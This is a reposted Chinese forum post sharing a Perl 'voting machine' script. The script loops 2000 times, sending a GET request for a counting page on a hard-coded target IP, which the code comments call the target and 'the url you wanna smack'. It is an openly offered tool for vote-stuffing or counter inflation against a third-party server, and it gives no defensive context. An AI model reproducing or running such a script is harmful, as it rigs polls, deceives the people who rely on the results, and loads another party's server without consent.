返回列表 回复 发帖

[转帖]一个投票机

用途,反复提交一个URL
  1. #!/usr/bin/perl
  2. use Socket;
  3. $|=1;
  4. $localhost = `hostname`;
  5. $timeout=20;
  6. $SIG{'ALRM'} = 'do_alarm';
  7. sub do_alarm {
  8.   alarm(0); # reset alarm clock
  9.   $SIG{'ALRM'} = 'do_alarm';
  10.   close (SOCK);
  11.   return ;
  12. }
  13. chop $localhost;
  14. $port = 80;
  15. $proto = getprotobyname('tcp');
  16. for ($i=1;$i<=2000;$i++)
  17. {
  18. $a="202.205.10.25";
  19. #IP of target
  20. $iaddr = inet_aton ($a);
  21. $paddr = sockaddr_in($port, $iaddr);
  22. socket (SOCK, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
  23.         alarm(0);
  24.         alarm($timeout);
  25. connect (SOCK, $paddr) || next;
  26.         alarm(0);
  27. select(SOCK);
  28. $| = 1;
  29. select(STDOUT);
  30. print SOCK "GET /yingji/count.asp?id=80\n";
  31. #the url you wanna smack
  32. close SOCK;
  33. }
复制代码
返回列表